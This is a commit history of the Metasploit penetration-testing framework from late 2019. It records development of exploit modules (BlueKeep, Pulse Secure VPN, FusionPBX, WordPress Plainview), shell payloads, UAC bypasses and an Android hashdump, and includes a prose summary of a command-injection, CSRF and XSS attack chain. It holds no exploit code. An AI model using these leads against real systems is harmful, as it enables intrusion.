Compare commits

...

1102 Commits

Author SHA1 Message Date
Adam Galway 104710ca41 Land #12627, alter scanner info method for check 2019-12-04 15:04:11 +00:00
Metasploit cc361e7dbb automatic module_metadata_base.json update 2019-12-03 19:30:58 -06:00
h00die faadf8e283 Land #12646, ms04_007 reliability and stability updates 2019-12-03 20:22:37 -05:00
h00die d65757faa4 further killbill fixes 2019-12-03 20:22:05 -05:00
Metasploit a14df776b0 automatic module_metadata_base.json update 2019-12-03 19:17:44 -06:00
h00die ce4bb563fc Land #12656, reliability and stability notes for ms06_040 2019-12-03 20:08:21 -05:00
Brent Cook b7b7ad906e Land #12659, make faraday spec slightly less strict 2019-12-03 14:20:41 -06:00
Jeffrey Martin fb8d9ec95b slightly less strict faraday in spec 2019-12-03 14:16:38 -06:00
Brent Cook d5d90dcbc3 Land #12655, update cert generation to not generate years in the past 2019-12-03 12:37:21 -06:00
Brent Cook ab9e7f720b bump rex-socket with related changes 2019-12-03 12:26:04 -06:00
Brent Cook c4837966d1 Land #12658, pin faraday to avoid warnings from octokit on start 2019-12-03 12:20:29 -06:00
Brent Cook 19db4ed4f1 update Gemfile.lock 2019-12-03 12:12:52 -06:00
Adam Galway 774a93df1f use faraday gem version compatabile with octokit 2019-12-03 17:40:36 +00:00
Brent Cook 3dc64f142a Land #12657, suggest local exploit as better replacement for meterpreter scripts 2019-12-03 11:23:45 -06:00
William Vu 26f7c8f599 Suggest exploit/windows/local/persistence
The persistence and metsvc Meterpreter scripts use a built-in payload,
so the local exploit is a more appropriate match.
2019-12-03 11:08:23 -06:00
Brendan Coles 3e7857d146 Add reliability and stability notes to ms06_040_netapi 2019-12-03 06:32:02 +00:00
Brendan Coles c036fc3df9 Fix ssl_generate_certificate to not generate expired certs - Fix #12634 2019-12-03 06:16:12 +00:00
Pearce Barry 8a370cf2ca Land #12637, set any passed workspace if db is active 2019-12-02 17:05:16 -06:00
Pearce Barry 5ac09e8281 Land #12631, set db workspace in handler when active 2019-12-02 17:04:05 -06:00
Pearce Barry 2de71aba72 Minor typo... 2019-12-02 16:13:05 -06:00
Brent Cook d3a636eb6a Land #12509, add check result to RPC API 2019-12-02 11:37:43 -06:00
Metasploit 95047f9fee automatic module_metadata_base.json update 2019-12-01 10:21:16 -06:00
dwelch-r7 41569b78ba Land #12503, Add exploit module for Ajenti 2.1.31 2019-12-01 16:13:06 +00:00
Metasploit e206cdafb3 automatic module_metadata_base.json update 2019-12-01 09:49:23 -06:00
dwelch-r7 ed94499ea6 Land #12422, Add module for enumerating git keys 2019-12-01 15:39:54 +00:00
Brendan Coles ba05e91d19 Add Reliability notes 2019-11-30 06:28:12 +00:00
Brendan Coles a6723c12fb Add stability notes to ms04_007_killbill 2019-11-30 06:16:41 +00:00
Metasploit d2f83f868d automatic module_metadata_base.json update 2019-11-29 06:58:10 -06:00
Brendan Coles 5fde74de4f Land #12644, Fix iis75_ftpd_iac_bof crash when returned banner is nil 2019-11-29 12:59:19 +00:00
h00die f17fe39bda dos iis75 nocrash 2019-11-29 07:15:17 -05:00
Metasploit 579b001bd3 automatic module_metadata_base.json update 2019-11-29 04:20:46 -06:00
Christophe De La Fuente 373d147efd Land #12555 - Wordpress Plainview Activity Monitor RCE 2019-11-29 11:10:24 +01:00
leo-lb 1cf9a2eb53 Update wp_plainview_activity_monitor_rce.rb 2019-11-28 20:13:21 +01:00
leo-lb 2372f7e40d Update wp_plainview_activity_monitor_rce.rb 2019-11-28 20:10:17 +01:00
Metasploit b7ee610a67 Bump version of framework to 5.0.63 2019-11-28 12:08:21 -06:00
Jeffrey Martin 75f78fbce4 set any passed workspace if db is active 2019-11-27 17:19:44 -06:00
leo-lb 853fea736d Update wp_plainview_activity_monitor_rce.rb 2019-11-27 22:28:33 +01:00
leo-lb 60b98fd20c Update wp_plainview_activity_monitor_rce.rb 2019-11-27 21:59:54 +01:00
leo-lb 9b5265f49a Update wp_plainview_activity_monitor_rce.rb 2019-11-27 21:57:24 +01:00
Wyatt Dahlenburg 02bb97fba6 Forced gitserver to required and improved status messages 2019-11-27 11:18:01 -06:00
Jeffrey Martin af0215a8d4 set db workspace in handler when active 2019-11-27 08:39:51 -06:00
Brent Cook ea1c1aa745 Land #12622, add aux docs for dlsw_leak_capture and ftpbounce 2019-11-26 14:46:19 -06:00
Metasploit 3d304dcbc4 automatic module_metadata_base.json update 2019-11-26 12:43:46 -06:00
Brent Cook 9e47bff246 Land #12624, add pingback payload specs 2019-11-26 12:34:23 -06:00
dwelch-r7 70395f2c23 Land #12629, fix typo in splunk upload app exec 2019-11-26 18:26:46 +00:00
Adam Cammack bcb4f6b1e6 Land #12623, Stub tests for compiled payloads 2019-11-26 10:04:21 -06:00
Francesco Soncina 45bee2d500 Update splunk_upload_app_exec.rb 2019-11-26 15:38:34 +01:00
dwelch-r7 47b31a152e Alter scanners info method to show check supported properly 2019-11-26 04:21:06 +00:00
Kenneth LaCroix 7129a058e5 Update ftpbounce.md 2019-11-25 21:01:53 -07:00
Kenneth LaCroix ce523bbf12 Create ftpbounce.md and update dlsw)leak_capture.md 2019-11-25 20:56:20 -07:00
Metasploit 5bf0d64325 automatic module_metadata_base.json update 2019-11-25 18:44:39 -06:00
William Vu 6f1117eee1 Land #12625, DOUBLEPULSAR exploit print updates 2019-11-25 18:36:13 -06:00
William Vu b22d2a1685 Update prints in DOUBLEPULSAR exploit check method
vprint_good should be print_warning, and most vprints should be print,
even if in check, since check is critical functionality.
2019-11-25 18:33:46 -06:00
Jeffrey Martin a417919e22 seperate x86 single and staged encrypted 2019-11-25 18:28:02 -06:00
Jeffrey Martin 97dbcc9476 seperate x64 single from staged 2019-11-25 17:19:38 -06:00
Jeffrey Martin ece57f4da6 add pingpack payload specs 2019-11-25 16:50:19 -06:00
Jeffrey Martin e883b07fd6 add helper for payloads not cached 2019-11-25 15:59:32 -06:00
Jeffrey Martin a428c1a4a6 stub test for compiled encrypted payloads 2019-11-25 14:02:34 -06:00
Metasploit 3f6a19be1a automatic module_metadata_base.json update 2019-11-25 13:12:41 -06:00
dwelch-r7 a8847a1d2a Land #12475, enhancements to brute_dirs module 2019-11-25 19:04:30 +00:00
Brent Cook c08ed0e953 Land #12613, make :workspace key more consistent 2019-11-25 10:39:01 -06:00
Metasploit 37ae4bd669 automatic module_metadata_base.json update 2019-11-25 10:31:22 -06:00
Adam Cammack dc9a1c0307 Land #12618, Add tests for the JJS payloads 2019-11-25 10:21:34 -06:00
Kenneth LaCroix 1221e800d3 Update dlsw_leak_capture.md 2019-11-24 18:26:02 -07:00
Kenneth LaCroix e8bee9f3b4 Create dlsw_leak_capture.md 2019-11-24 16:31:57 -07:00
h00die f10b08a3b1 Land #12607 a bunch of aux docs 2019-11-23 13:00:46 -05:00
h00die 238bfa9b67 module touchups 2019-11-23 12:59:51 -05:00
Kenneth LaCroix 0f7d0b3bea bcoles suggestions 2019-11-23 06:07:58 -07:00
Kenneth LaCroix eb044226f3 formatting and created empty_udp.ms 2019-11-23 04:08:55 -07:00
Kenneth LaCroix fdc7123592 Formatting and versioning 2019-11-22 21:41:06 -07:00
Kenneth LaCroix e952f6ad54 Update versions used 2019-11-22 20:40:52 -07:00
Kenneth LaCroix b0802ebf98 Update dns_amp.md 2019-11-22 19:30:20 -07:00
Kenneth LaCroix b2f66e7fb6 Create dns_amp.md 2019-11-22 16:50:35 -07:00
Jeffrey Martin ba06624e57 consistent usage of :workspace key 2019-11-22 11:16:22 -06:00
Kenneth LaCroix 45ba7acf00 Update konica_ftp_traversal.md 2019-11-21 21:27:50 -07:00
Kenneth LaCroix 0d8ae2a53a Create konica_ftp_traversal.md 2019-11-21 21:27:01 -07:00
Kenneth LaCroix e054fdddbb Addressed changes requested by h00die 2019-11-21 20:52:15 -07:00
Jeffrey Martin 8d057518ce add jjs payload tests and set cached sizes 2019-11-21 16:38:18 -06:00
Metasploit 9cae9b939b Bump version of framework to 5.0.62 2019-11-21 12:08:35 -06:00
Brent Cook f8c84c9928 Land #12530, add encrypted, compilable shell payloads 2019-11-21 08:59:46 -06:00
Brent Cook 51f26a91c0 rename singles to match staged payloads 2019-11-21 05:19:39 -06:00
Kenneth LaCroix 5a81032d2a Update pcman_ftp_traversal.md 2019-11-20 20:53:33 -07:00
Kenneth LaCroix d0741f8180 Create pcman_ftp_traversal.md 2019-11-20 20:34:30 -07:00
Metasploit 8785b07dc3 automatic module_metadata_base.json update 2019-11-20 14:23:42 -06:00
bwatters-r7 c841306cb0 Land #12544, Add bind/reverse jjs unix cmd payloads
Merge branch 'land-12544' into upstream-master
2019-11-20 14:14:11 -06:00
Shelby Pace 0f5a3a3d64 use one cipher object
The c code was modified in order to keep
track of the context.
2019-11-20 11:24:23 -06:00
Shelby Pace bf2bfb3b39 use chacha20 class 2019-11-20 10:42:03 -06:00
Onur ER fa1647190e Update ajenti_auth_username_cmd_injection.rb 2019-11-20 19:09:24 +03:00
Onur ER 841e524b6f Update modules/exploits/unix/webapp/ajenti_auth_username_cmd_injection.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-20 18:08:33 +03:00
Onur ER af59efa4cd Update modules/exploits/unix/webapp/ajenti_auth_username_cmd_injection.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-20 18:08:23 +03:00
Kenneth LaCroix 413023c477 Formatting changes to afp_login.md and created documentation for windows_deployment_services module. 2019-11-19 21:39:59 -07:00
Kenneth LaCroix 21e4a356df Update db2_auth.md 2019-11-19 20:17:30 -07:00
Kenneth LaCroix 0ba4ecbf88 Create db2_version.md 2019-11-19 20:08:23 -07:00
Kenneth LaCroix d12602ef00 Create db2_auth.md 2019-11-19 19:56:30 -07:00
Shelby Pace deb57a1df0 add modified chacha implementation, format_uuid 2019-11-19 20:16:16 -06:00
Brent Cook 3e951b3f4b Land #12457, consolidate workspace actions 2019-11-19 17:10:36 -06:00
Kenneth LaCroix 11fa1cb3f5 Update apple_acpp_scanner.md 2019-11-19 15:24:35 -07:00
Kenneth LaCroix adafae6300 Create apple_accp_scanner and afp_login module documentation. 2019-11-19 14:20:22 -07:00
Metasploit fdf477077c automatic module_metadata_base.json update 2019-11-19 10:50:17 -06:00
bwatters-r7 b3c44a45c6 Land #12602, scanners: fix a couple of typos
Merge branch 'land-12602' into upstream-master
2019-11-19 10:41:25 -06:00
Federico Pellegrin b81545acee scanners: fix a couple of typos 2019-11-19 10:15:46 +01:00
Adam Cammack 5565ef9450 Return check codes from scanner runs 2019-11-19 00:35:17 -06:00
Adam Cammack da81c1600e Trivial specs on the attrs for now 2019-11-19 00:30:44 -06:00
Adam Cammack 9d41818899 Always trigger the Simple interface 2019-11-19 00:28:17 -06:00
Metasploit 3b6c5ac28e automatic module_metadata_base.json update 2019-11-19 00:24:53 -06:00
Tim W 6fa16c7020 Land #12593, fix android hashdump hash format 2019-11-19 13:37:16 +08:00
Metasploit 61b04e769c automatic module_metadata_base.json update 2019-11-18 17:45:41 -06:00
Brent Cook 42a06583b8 Land #12601, don't store public-only ssh creds 2019-11-18 17:37:19 -06:00
Metasploit f1d49c3863 automatic module_metadata_base.json update 2019-11-18 17:21:21 -06:00
Brent Cook 23f66f85eb Land #12479, fix error running sap_mgmt_con_brute_login 2019-11-18 17:12:46 -06:00
Brent Cook 27eb17d4ff Land #12583, add web report methods to web data proxy 2019-11-18 17:07:50 -06:00
Metasploit be74a217a5 automatic module_metadata_base.json update 2019-11-18 15:24:51 -06:00
Brent Cook ccff82f818 Land #12589, restrict windows/local/persistence_service to working session types 2019-11-18 15:15:50 -06:00
Metasploit 060bc0495f automatic module_metadata_base.json update 2019-11-18 15:13:13 -06:00
Shelby Pace 86a7495e70 add require 2019-11-18 15:12:15 -06:00
Shelby Pace 140eecac1f use new chacha implementation 2019-11-18 14:42:47 -06:00
MangyCoyote cfd86f6412 ssh_creds module tries to store ssh public keys (#1)
Resolves #12599
2019-11-18 21:28:47 +01:00
Brent Cook 73950eef50 Land #12516, Add Windows Escalate UAC Protection Bypass 2019-11-18 14:25:07 -06:00
Shelby Pace 2e73a9fe3f check for mixin that uses db 2019-11-18 13:45:24 -06:00
Shelby Pace e5d418e913 generalize saving and retrieval of db info 2019-11-18 13:41:01 -06:00
Brent Cook 5936d2c415 use a finer-grained exception here 2019-11-18 12:57:33 -06:00
Onur ER f93fda79f6 Add Module Documentation 2019-11-18 20:25:56 +03:00
Metasploit ea56158d53 automatic module_metadata_base.json update 2019-11-18 10:28:57 -06:00
bwatters-r7 2736cbc84c Land #12588, Remove unsupported session type
Merge branch 'land-12588' into upstream-master
2019-11-18 10:19:01 -06:00
Shelby Pace 3fa9e9b0a8 add Dependencies array with mingw arch class 2019-11-18 09:35:18 -06:00
Shelby Pace 41bc3851a2 remove mingw check, add general dependency check 2019-11-18 09:33:43 -06:00
Metasploit 56944c8364 automatic module_metadata_base.json update 2019-11-18 02:19:14 -06:00
Brent Cook 41161ba917 Land #12585, use post API for shell compat in enum_hostfile 2019-11-18 02:09:09 -06:00
Metasploit 4a9b48deaa automatic module_metadata_base.json update 2019-11-18 01:55:38 -06:00
Brent Cook 5a6e4c031d Land #12494, Add Windows backup system sdclt uac bypass module 2019-11-18 01:47:11 -06:00
Brent Cook 09730aebf4 s/http/https/ 2019-11-18 01:45:57 -06:00
Shelby Pace 60d48ebde5 add x86 and x64 classes 2019-11-17 19:45:22 -06:00
h00die a0e45f4841 fixes for android hashdump 2019-11-17 13:44:19 -05:00
Brendan Coles facf16b860 Declare correct SessionType - Fix #12586 2019-11-16 04:58:02 +00:00
Brendan Coles 9e37fb3ece Declare correct SessionType - Fix #12587 2019-11-16 04:57:18 +00:00
Brendan Coles f5fbdcacc3 Add support for shell sessions to post/windows/gather/enum_hostfile 2019-11-16 04:07:01 +00:00
dwelch-r7 a97c145ba9 Allow for optional workspaces 2019-11-16 00:26:25 +00:00
dwelch-r7 191cbcdd12 Add some missing remote data calls
Also adds some extra verification for the specified workspace in incoming requests
2019-11-16 00:04:44 +00:00
Shelby Pace aa058eaca3 remove ternary 2019-11-15 13:02:53 -06:00
bwatters-r7 d093c75ae5 Stupid pry.... 2019-11-15 12:27:42 -06:00
bwatters-r7 1e95e1c956 Fix up required reg additions for different windows versions
Add module docs
2019-11-15 12:20:50 -06:00
Shelby Pace 51a392f8a6 change default value 2019-11-15 11:59:40 -06:00
Metasploit 6b586552bd automatic module_metadata_base.json update 2019-11-15 11:36:05 -06:00
William Vu 05721ef2ec Land #12581, additional BlueKeep doc fixes 2019-11-15 11:26:06 -06:00
William Vu 1d6e0a8638 Further correct target documentation 2019-11-15 11:23:28 -06:00
William Vu 6e904ea105 Fix/clarify target documentation for BlueKeep 2019-11-15 11:14:00 -06:00
dwelch-r7 dfaba0a98e Add endpoints for report_web_* 2019-11-15 16:33:28 +00:00
Metasploit 4ad895e7d6 automatic module_metadata_base.json update 2019-11-15 05:09:59 -06:00
Tim W 41e3bccdaa Land #12497, add android hashdumper for cracking Android pin codes 2019-11-15 18:13:16 +08:00
Metasploit 640bf58321 automatic module_metadata_base.json update 2019-11-14 15:28:12 -06:00
William Vu 8564d63767 Land #12575, 2008 caveat note in BlueKeep exploit 2019-11-14 15:19:44 -06:00
William Vu 618a7c9771 Land #12567, tribute banner for the console 2019-11-14 14:47:08 -06:00
Metasploit a08f046cb1 Bump version of framework to 5.0.61 2019-11-14 12:55:01 -06:00
William Vu 28ecefadb8 Warn about fDisableCam in automatic mode 2019-11-14 11:08:27 -06:00
William Vu cb6d85bee2 Add suggestion about GROOMBASE 2019-11-14 11:08:14 -06:00
William Vu fc64ac42af State 2008 caveat in module description and doc 2019-11-14 10:57:42 -06:00
Brent Cook bbe95e393d initial integration work 2019-11-14 10:29:58 -06:00
Brendan Coles 5f976f0c45 Land #12570, Fix compile failure handling in Post::Linux::Compile 2019-11-14 08:09:13 +00:00
h00die 8b8c70b145 add samsung and md5 processing 2019-11-13 21:48:25 -05:00
Cory Kennedy a66a59ae2a Changed Filename 2019-11-13 20:26:49 -06:00
Cory Kennedy 03117ea685 Update SecKC.txt 2019-11-13 20:26:01 -06:00
Metasploit b7f4eba8b7 automatic module_metadata_base.json update 2019-11-13 11:44:06 -06:00
sinn3r 5c6686a105 Land #12532, Add FusionPBX Command exec.php Command Execution
Add FusionPBX Command exec.php Command Execution
2019-11-13 11:33:21 -06:00
sinn3r 66ad5deb47 Land #12531, Add FusionPBX Operator Panel exec.php Command Execution
Add FusionPBX Operator Panel exec.php Command Execution
2019-11-13 11:31:30 -06:00
sinn3r 71cbefa5e8 Land #12534, Add FreeSWITCH Event Socket Command Execution
Add FreeSWITCH Event Socket Command Execution
2019-11-13 11:27:53 -06:00
Brent Cook fff9f51d07 add initial ruby implementation of chacha
Note this is the original version with the 64-bit IV and 64-bit block
counter. This can be changed to the RFC version in a bit.
2019-11-13 09:22:14 -06:00
Metasploit b93ef61c06 automatic module_metadata_base.json update 2019-11-13 08:45:46 -06:00
Shelby Pace 1ebef8bcb2 Land #12529, add CMSMS object inject exploit 2019-11-13 08:37:05 -06:00
Shelby Pace f79a35d428 check response 2019-11-13 08:34:23 -06:00
Metasploit b510c04f61 automatic module_metadata_base.json update 2019-11-13 02:29:49 -06:00
William Vu 8e208daec2 Land #12572, .rubocop.yml renamed cop fix 2019-11-13 02:15:21 -06:00
William Vu 349bc93054 Land #12573, DOUBLEPULSAR exploit style fixes 2019-11-13 02:13:54 -06:00
William Vu 45e2a3b229 Address RuboCop review 2019-11-13 02:10:03 -06:00
William Vu 7a4c48ee27 Fix style in exploit/windows/smb/doublepulsar_rce 2019-11-13 02:04:14 -06:00
William Vu 671836b93b Fix renamed RuboCop check in .rubocop.yml 2019-11-13 01:45:01 -06:00
Metasploit fc300c6bf4 automatic module_metadata_base.json update 2019-11-13 00:48:01 -06:00
William Vu 1d94564af4 Land #12571, DOUBLEPULSAR exploit metadata updates 2019-11-13 00:35:28 -06:00
William Vu 4877032e8a Update exploit/windows/smb/doublepulsar_rce info 2019-11-13 00:30:09 -06:00
Tim W d364c22541 fix NameError uninitialized constant Msf::Post::Linux::Compile::Failure 2019-11-13 12:30:02 +08:00
h00die ec63c4c419 fix negative bug, add docs 2019-11-12 22:32:07 -05:00
scanu92 d9b0c1aa2f add advanced options ForceExploit 2019-11-12 23:03:28 +01:00
scanu92 1489e03f0a Update cmsms_object_injection_rce.rb 2019-11-12 23:02:16 +01:00
scanu92 78ea784e84 Update modules/exploits/multi/http/cmsms_object_injection_rce.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-11-12 23:00:31 +01:00
Cory Kennedy 7d9ab29c8c Create SecKC.txt 2019-11-12 15:55:26 -06:00
Metasploit 493c48dcd6 automatic module_metadata_base.json update 2019-11-12 15:52:58 -06:00
Shelby Pace baf27f9654 Land #12542, add Bludit File Upload Exploit 2019-11-12 15:44:34 -06:00
h00die f47721c907 Merge pull request #14 from timwr/android_hashdump
fallback to settings.db if locksettings.db does not exist
2019-11-12 16:33:01 -05:00
Metasploit dea692a5bd automatic module_metadata_base.json update 2019-11-12 03:17:11 -06:00
William Vu 7d77c0fd5a Land #12543, myworkspace.id to myworkspace_id fix 2019-11-12 03:09:08 -06:00
Metasploit b1aeb5d040 automatic module_metadata_base.json update 2019-11-12 03:06:45 -06:00
William Vu 3c1fa90a75 Land #12515, Pulse Secure VPN RCE 2019-11-12 02:55:01 -06:00
William Vu add013283d Land #12511, Pulse Secure VPN file read redux 2019-11-12 02:51:11 -06:00
William Vu a8e289ee9c Code-block env(1) 2019-11-12 02:46:18 -06:00
William Vu f14eda45e8 Land #12537, minimum Ruby version in gemspec 2019-11-12 02:28:04 -06:00
William Vu a267ad9d64 Reference env(1) as the reason we have useful RCE 2019-11-12 02:17:58 -06:00
William Vu a17b2c2041 Add module doc 2019-11-12 02:10:10 -06:00
William Vu 8df559eceb Update print to warning 2019-11-12 02:09:43 -06:00
Tim W 6ac4d9ca33 skip if no -wal and -shm exists, and remove salt length check 2019-11-12 16:07:37 +08:00
wvu-r7 0c4580f254 Calibrate timeout for hax
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-12 02:03:52 -06:00
William Vu de72ed8545 Print our glorious success 2019-11-12 02:02:53 -06:00
William Vu 238c931fd3 Don't fail module if blocking through timeout 2019-11-12 01:55:56 -06:00
William Vu d8e612726c Note that an admin SID is required at present 2019-11-12 01:46:23 -06:00
William Vu 1573664c78 Reduce timeout for when the shell pops 2019-11-12 01:41:19 -06:00
Tim W da3f298a9b fallback to settings.db if locksettings.db does not exist 2019-11-12 15:40:28 +08:00
William Vu bc5b0645dd Fix typo 2019-11-12 01:25:36 -06:00
William Vu 2c6c46701c Update DefaultOptions 2019-11-12 01:23:53 -06:00
William Vu 8664ac9dd8 Add target print 2019-11-12 01:17:28 -06:00
William Vu e9fb4a2528 Check for nil
Oops.
2019-11-12 01:10:26 -06:00
William Vu f4c7690247 Print cmd/unix/generic command output, minus HTML 2019-11-12 01:08:56 -06:00
William Vu 09901fdf56 Clarify session cookie could be invalid 2019-11-12 01:08:25 -06:00
William Vu 5b825e8245 Readd cmd/unix/generic target with manual badchars 2019-11-12 01:08:09 -06:00
Metasploit 2a02c6b318 automatic module_metadata_base.json update 2019-11-11 17:49:45 -06:00
William Vu 22da634ddc Land #12553, Meltdown fix for BlueKeep exploit 2019-11-11 17:33:52 -06:00
William Vu 4f2cab4cf1 Add references 2019-11-11 17:33:10 -06:00
Metasploit 70a3aab8ac automatic module_metadata_base.json update 2019-11-11 15:55:53 -06:00
bwatters-r7 3b57705a1f Land #11390, Add exploit module for Xorg X11 Server Local Privilege Escalation on AIX
Merge branch 'land-11390' into upstream-master
2019-11-11 15:42:54 -06:00
Wei Chen 717a31c7c3 Fix typos and format 2019-11-11 14:47:56 -06:00
bwatters-r7 820aa4f46c Update documents with vimeo video example and update SideEffects value
in the module cache.
2019-11-11 14:28:07 -06:00
Shelby Pace d1e9538f9c use stager_name 2019-11-11 09:32:28 -06:00
Shelby Pace 7d5deafcee add check for cipher 2019-11-11 09:11:51 -06:00
bwatters-r7 ef6ae90ca6 Add case statement for admin check 2019-11-11 09:00:11 -06:00
William Vu b6b131e808 Land #12556, 64K ought to be enough for anyone 2019-11-10 21:25:48 -06:00
Brendan Coles d172534417 64K ought to be enough for anyone 2019-11-10 09:49:49 +00:00
lle-bout 1d7cdac421 Add Wordpress Plainview Activity Monitor RCE
Description:

```
Plainview Activity Monitor Wordpress plugin is vulnerable to OS
command injection which allows an attacker to remotely execute
commands on underlying system. Application passes unsafe user supplied
data to ip parameter into activities_overview.php.
Privileges are required in order to exploit this vulnerability, but
this plugin version is also vulnerable to CSRF attack and Reflected
XSS. Combined, these three vulnerabilities can lead to Remote Command
Execution just with an admin click on a malicious link.
```
2019-11-10 08:27:45 +01:00
h00die f8ef7a8db9 add crack_mobile, handle negative hashes 2019-11-09 15:55:53 -05:00
Wyatt Dahlenburg a2aba34112 Trimmed test_keys method 2019-11-09 12:00:22 -06:00
h00die f27afeae65 android hashdump docs 2019-11-09 10:11:45 -05:00
h00die 6d23059cc0 android hashdump updates 2019-11-09 10:11:45 -05:00
h00die 389f269dcd first test of android hashdumper 2019-11-09 10:09:18 -05:00
zerosum0x0 01d84c5654 remove syscall hook 2019-11-08 19:44:52 -07:00
Shelby Pace 8b5260f6ab use OptEnum for optimization level 2019-11-08 08:58:56 -06:00
Metasploit a72067ced5 automatic module_metadata_base.json update 2019-11-07 21:32:19 -06:00
Jeffrey Martin eb07305104 Land #11695, Password Cracker Overhaul(ie hashcat) 2019-11-07 19:09:52 -06:00
Christophe De La Fuente 94939837e0 Land #12550, update .mailmap
Add @adamgalway-r7 contact details to the mailmap
2019-11-07 23:25:40 +01:00
Shelby Pace bfa27e6bed add flag, use DefaultOptions for linker script 2019-11-07 15:33:31 -06:00
bwatters-r7 f426206246 update code from bcoles suggestions. 2019-11-07 15:30:53 -06:00
Metasploit e46b5dc701 Bump version of framework to 5.0.60 2019-11-07 12:19:38 -06:00
Shelby Pace 1a88e7610b add optimization flag, use basename method 2019-11-07 10:46:57 -06:00
William Vu a1bbc86cd0 Land #12547, null-pointer-deref.txt update to MSF5 2019-11-07 10:14:55 -06:00
Metasploit db87cb72ef automatic module_metadata_base.json update 2019-11-07 10:09:03 -06:00
Dustin f1a6d3924e Update metasploit-framework.gemspec
Set minimum `v2.5`

Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-11-07 11:07:43 -05:00
William Vu 2b3c2b6af5 Land #12535, module traits for some local exploits 2019-11-07 10:00:39 -06:00
William Vu d34dd39e6a Land #12522, THREADS clarification 2019-11-07 09:58:19 -06:00
William Vu dedbd616c8 Fix wording 2019-11-07 09:57:39 -06:00
Adam Galway ff8ba05ef1 Add my contact details to the mailmap 2019-11-07 14:21:10 +00:00
Metasploit a55fde4ae5 automatic module_metadata_base.json update 2019-11-07 04:25:11 -06:00
h00die 9cf62d02f9 land #12492 coldfusion rds updates 2019-11-07 05:16:29 -05:00
Jeff McJunkin 8b462083be Update banner for MSF5 2019-11-07 20:47:44 +11:00
Metasploit ef01eafa6b automatic module_metadata_base.json update 2019-11-06 21:01:06 -06:00
dwelch-r7 876a307816 Land #9396, Linux net snmpd rw access 2019-11-07 02:52:47 +00:00
Metasploit 0966efce7e automatic module_metadata_base.json update 2019-11-06 20:36:10 -06:00
h00die 0b750c96e4 land #12546 gemfile.lock fix 2019-11-06 21:27:38 -05:00
h00die 6b472b68f8 remove merge conflict marks 2019-11-06 21:20:19 -05:00
h00die f0443deb2a resolved merge conflicts for payload 1.3.79 integration 2019-11-06 21:15:11 -05:00
h00die 381963e246 update payloads to 1.3.79 2019-11-06 21:12:50 -05:00
dwelch-r7 2ab1b9071f remove unsupported check 2019-11-07 01:34:16 +00:00
dwelch-r7 61dc3ad487 Replace manual escaping with shellescape function 2019-11-07 01:33:42 +00:00
Metasploit e8e7539863 automatic module_metadata_base.json update 2019-11-06 13:54:12 -06:00
Shelby Pace 3d14b88a50 Land #12507, add rConfig Command Injection module 2019-11-06 13:45:15 -06:00
Brent Cook e9b36520c5 Land #12495, add Android module docs 2019-11-06 08:39:01 -08:00
Brent Cook 740687c2fa capitalize Android 2019-11-06 08:28:35 -08:00
layderv 247546f96d Fix: auxiliary/kerberos_enumusers stops after first match 2019-11-06 09:46:24 +00:00
Brendan Coles 706bb89777 Add cmd/unix/bind_jjs payload 2019-11-06 07:58:31 +00:00
Brendan Coles 19dba2f243 Add cmd/unix/reverse_jjs payload 2019-11-06 07:57:46 +00:00
Tim W 5711effa24 update comments 2019-11-06 14:59:49 +08:00
h00die 06f7027fd8 udapted docs 2019-11-06 15:57:33 +09:00
Loïc Jaquemet 818a5ab164 Update modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb
as per suggested fix

Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-11-05 21:45:05 -07:00
William Vu 5235759187 Merge remote-tracking branch 'upstream/master' into pr/12220 2019-11-05 09:56:38 -06:00
Wei Chen 553601210a Add CVE-2019-16113: Bludit Directory Traversal Image Upload Exploit 2019-11-05 08:57:15 -06:00
Tim W 812409a491 Use a random apk name 2019-11-05 15:55:20 +08:00
Adam Cammack f4cea619e8 Land #12510, Option to allow partial HTTP response 2019-11-05 01:34:54 -06:00
h00die 7620cefca4 start of janus table 2019-11-04 23:31:45 +09:00
h00die cb1caaca94 add cleanup 2019-11-04 23:31:45 +09:00
h00die 4f2fab797f janus upgrades 2019-11-04 23:31:45 +09:00
Dustin Eichler 154719854e Set minimum ruby version 2019-11-03 09:46:47 -05:00
Brendan Coles 38498305d3 Add module notes for Reliability and Stability 2019-11-03 00:33:24 +00:00
scanu92 1ae2f66c7c Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:33:17 +01:00
scanu92 8a3f7a6b21 Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:32:55 +01:00
scanu92 1850cfd0c1 Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:32:32 +01:00
scanu92 a307f4f41a Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:32:10 +01:00
scanu92 1a4777670b Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:30:18 +01:00
Brendan Coles 6dc94bbca9 Update documentation 2019-11-02 22:37:56 +00:00
Brendan Coles f5afbe7104 Update documentation 2019-11-02 22:35:58 +00:00
Brendan Coles 0d1dd242ea Fix typos 2019-11-02 22:09:23 +00:00
Brendan Coles e0faff6944 Add documentation 2019-11-02 22:03:10 +00:00
Brendan Coles f239b5db8f Add FreeSWITCH Event Socket Command Execution 2019-11-02 22:03:02 +00:00
scanu92 632e423236 Update cmsms_object_injection_rce.rb 2019-11-02 21:31:08 +01:00
scanu92 33303746f8 Update cmsms_object_injection_rce.rb 2019-11-02 21:29:38 +01:00
Brendan Coles 89b277c360 Add documentation 2019-11-01 23:38:59 +00:00
Brendan Coles c2b40d2924 Add FusionPBX Command exec.php Command Execution 2019-11-01 23:38:51 +00:00
Brendan Coles 9346013974 Use bg_system API command 2019-11-01 22:17:26 +00:00
Brendan Coles 08d51acd18 Update targets 2019-11-01 20:33:23 +00:00
Brendan Coles 73a8381639 Add documentation 2019-11-01 20:12:03 +00:00
Brendan Coles 1e3705e47d Add FusionPBX Operator Panel exec.php Command Execution 2019-11-01 20:11:55 +00:00
Brent Cook f21bcaede9 Land #12463, Fix delimiter selection on powershell payload commands 2019-11-01 11:12:24 -05:00
William Vu c9cc8c547f Remove "now" from moved_from message
It's confusing to the user, since they think the prompt will change.
Thanks, @h00die.
2019-11-01 10:22:40 -05:00
